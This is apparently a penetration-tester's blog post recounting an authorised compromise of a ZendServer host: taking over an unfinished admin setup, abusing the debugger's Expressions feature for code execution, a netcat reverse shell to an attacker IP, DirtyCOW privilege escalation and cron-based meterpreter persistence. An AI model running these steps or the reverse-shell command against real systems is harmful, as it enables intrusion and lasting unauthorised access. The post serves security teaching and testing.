A default ZendServer config, one .php file and a DirtyCOW


RWP #1

Hello fellow readers, today we would like to introduce a new blog post serie branded as "real world pentests" (yes we refer to PentesterAcademy ๐Ÿ‘พ). Under this category, we would like to represent closely what is happening during our pentests. Meaning every post will detail an assessment on real targets (of course legit) either be it successful or a failure. And we will try to explain our methodology as well.

TL/DR available at the end of the article.

We cannot stress how important it is to enumerate ALL services running on ALL available ports (at least TCP due to time constraint ๐Ÿ‘Œ) when you assess your target (using masscan -p1-65535 or nmap -sS -p-). Just in the past few weeks, we can provide you two examples of a full compromise which started from an "exotic high TCP port":

  1. One of our target was a NAT device responsible for forwarding a high port, such as 23232/tcp to another host which was running telnetd over default port 23/tcp. This host had a built-in default username (root) with a guessable password (if you just read the banner provided by the welcome message at least). That is to say: just by using nmap -p-, you get remote code execution as root ๐Ÿ™‰. So don't forget high ports ! 
  2. This is where our blog story begins ...

1. ZEND_me_banner

After receiving a great amount of information from your nmap -p- command, it is time to read it thoroughly.

PORT      STATE SERVICE  VERSION
10081/tcp open  http     lighttpd 1.4.22
10082/tcp open  ssl/http lighttpd 1.4.22

Seems there is a strange high port running a webserver. Lets fire up curl -v and see whats up there.

curl -v faketarget.com
< HTTP/1.1 301 Moved Permanently
< Location: /ZendServer/

Suddenly a wild ZendServer appears ! "WTF is this beast ?" you say. Keep calm and Google PrivacyRespectingSearchEngines everything !

Lets enumerate more.

curl -v -L faketarget.com
< HTTP/1.1 200 OK
< X-Powered-By: PHP/5.2.10 ZendServer/4.0

This banner is important. It reveals ZendServer version 4.0 is present on the box (ZendDebugger presence is also shown in phpinfo(), if you have access to this other vulnerability / info somewhere and if X-Powered-By is obfuscated).



Now before looking up nuclear weapon exploits for ZendServer 4.0 ๐Ÿ’€ from exploitdb, pompem.py or similar tool, lets simply try to connect. The CVE details page was not really interesting anyway ๐Ÿ‘ป. Connecting to the server revealed an unfinished setup of ZendServer... Creating our own password was only one click away. Done ! Optionally, if you encounter an already setup server (it might happen you know ๐Ÿ‘ฟ), you can brute force your way into it, using for instance, patator.py (there is no "user" to guess nor brute force protection on ZendServer). I copy paste the parameters for you:

curl 'https://faketarget.com:10082/ZendServer/Login/Try' -H 'Cookie: ZENDSERVERSESSID=fli8051s09ebf6969g9h88umv0' --data 'password=secret'

zend.message('The password you entered is incorrect', 'error');});

which translates into patator.py as

patator.py [exercise for the reader ๐Ÿ‘น]

Now let's connect to it with our brand new super secret password or cracked one.



And now for the interesting part, how to get code execution on the server from there ? Bear with me into the Zend Debugger protocol and its parameters.


2. ZEND_me_exec


First duty when you want to use a new product is to read all the documentation ๐Ÿ’ฉ (hopefully, this blog post will save you this time).

The ZendServer provides logs of PHP errors in Logs tab. It might help you to identify .php files names, to know the inner folder names and structure or even get better accesses (password disclosure vulnerability in logs is quite usual). In other words, you will get more familiar with your target.



We could not go deeper using logs in our case, so we needed to research and browse a bit more. 'Debugger' term looks interesting. Lets go to the Server Setup > Debugger tab.



As you can see here only internal IPs are allowed to 'debug' the server by default. But this does not prevent you from adding your external IP (as seen by the ZendServer) to the list (also you can add all clients with 0.0.0.0/0 but that is highly insecure, as you will see hereunder ๐Ÿ™Š). Restart PHP now as requested by the server. In our experience this was kinda silent but if you want to be stealthy you better do it during systems administrators off-times ๐Ÿ’ค. Confirm that you added yourself as a valid 'debugger' host with curl -v and by checking either the cookie or directly calling the debugger with parameters.

http://faketarget.com/index.php?debug_host=1.2.3.4&start_debug=1

which might gives answer...
 

Host '1.2.3.4' is not allowed to open debug sessions - please configure zend_debugger.allow_hosts in the ini file.

... but you can also check the cookies. 

Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/


Thats better ! You wont have this cookie if you are not in the allowed client list. Check connectivity and that the server is connecting to you by providing your IP and using as a server for instance a simple ncat -klvp 4321. Since ZendStudio listens on tcp/10137 on your workstation, you might need to port forward to it. We used ssh -R tunnel to forward our external IP server / port to our localhost debugger port, mainly because the victim server could not contact our workstation but was able to communicate with the external server. A port forward rule in your router can be enough.



Now its time to find .php files on the server. Indeed, the debug is not triggered on the ZendServer files, in other words you cannot debug the ZendServer itself using this URL http://server:10081/ZendServer/anyphpfile.php?debug_host=1.2.3.4. So let's go back to our true server on port :80. In our case, luckily index.php was existing but you can probably find existing .php file using your favorite files enumeration tool like dirsearch.py or the logs error.

Download and trial ZendStudio, you will need it from this step. What should we provide to the ZendServer as arguments to file index.php to debug it? We need to research the triggers a bit. The protocol seems to allow the server to "break" upon the first line of the file. Just confirm the option is turned on in your ZendStudio (it is by default). I also noticed the URL the ZendStudio was trying to call when adding PHP remote generic server (it calls dummy.php file with arguments) and used the parameters I found interesting. After trials and errors, I figured out the arguments provided to the server could be like this:

http://faketarget.com/index.php?start_debug=1&debug_host=1.2.3.4&debug_port=4321&debug_stop=1&debug_start_session=1

Look at your ZendStudio screen. You will have a pop-up asking what you should do with such events (ie receiving debug). Of course start debugging.



Now if we understand this process, the server is currently on break, just like GDB break, pausing execution. How do we inject code from there in the execution. If you look at the top right of the windows you will see Variables, Breakpoints and Expressions. Expressions is interesting, it will probably evaluate on server side your expression. So why not try system() ๐Ÿ‘น ?



Yep nice, executed ๐Ÿ’ฅ. Now you can try to launch a reverse shell back to you to have interaction with system("/bin/nc -e /bin/bash 1.2.3.4 6969 &;"). It is better to fork it in the background due to webserver timeouts. And you will loose the connection after a while (~ 5 min). But that's it! We have compromised this Zend enabled server.  Job done.


Some remarks :
Bonus 1: the debugger transfers the source code of the .php file (look at Editor screen) so vulnerability source disclosure as bonus; and 
Bonus 2: you get the file folder path of the file (look at Debug screen) so vulnerability file paths disclosure as bonus.

If the machine is heavily locked down (disabled php functions on shared hosting?), both might help you at some point.



3. ZEND_me_to_root 

After pillaging the server from all information we could get, we wanted to go to root privileges. That way we could dump more info, check the traffic and maybe attack the broadcast layer of the network or pivot. As a reminder you probably don't need root to pivot from webserver. After enumeration, comes more enumeration ๐Ÿ‘ฝ. Yes it is a never ending circle of attacks, compromise, pillage and pivot and repeat.

One remark is that the administrator of the system secured the web root folder with permission rwxrwx---d root root. But the parent folder as the same time was rwxrwx---d www-data www-data. So we took the opportunity inside this folder to cp webroot/ webroot2/ && mv webroot/ webroot3/ && mv webroot2/ webroot/. That way we had a writable web root folder and could plant our php backdoors.

There are several Linux privesc checker scripts out there even if most are outdated. Multiple paths to root probably exist as well but we did not bother searching much: simply checking uname -a revealed a very outdated kernel (3.2.68). (Mandatory disclaimer: this step is unrelated to ZendServer as you can run it on a non vulnerable kernel versions, obviously). So we decided to go for the latest famous vulnerability in Linux kernel town: CVE-2016-5195 aka DirtyCOW. We checked that the version was indeed vulnerable first using the debian security tracker (always do this step to avoid loosing time).

Now we need to issue a critical command which can ruin your upcoming hours: which gcc. GCC was not available on the box ๐Ÿ‘ฝ... so compiling exploit was not possible. In this case, you need to reproduce the server as closely as possible, meaning having similar libraries when compiling. The glibc version can be found with ldd --version. As an alternative, you can also compile statically, so libraries are included in the binary.  Then you will prepare the exploit on this clone box and upload it, using wget or similar. We used this one and compiled it on similar Ubuntu / Debian dynamically and then transfered it. 

Yes I was too lazy to take a screenshot :)

As for backdoor and persistence, we created a crontab entry calling (as root) a reverse meterpreter binary connecting to our box. The sub shell feature of meterpreter was useful due to the network random disconnection issues we faced. One note though: we had to chmod +s the binary, otherwise it seemed to drop the privileges.    


That's it ! Assessment RWP#1: ...... success !

Thanks @ friends for help and review ๐Ÿ‘ฌ. 



And for the lazy peeps out there... ๐Ÿ‘Š

TL/DR: Unfinished ZendServer setup on tcp/10081 or weak password, added attacker IP as valid debugger client, webserver with php file on tcp/80, URL with parameters to start and break from attacker client ZendStudio, code execution using Expressions statement, unpatched Linux kernel, DirtyCOW privesc to root.


Comments

Post a Comment

Popular Posts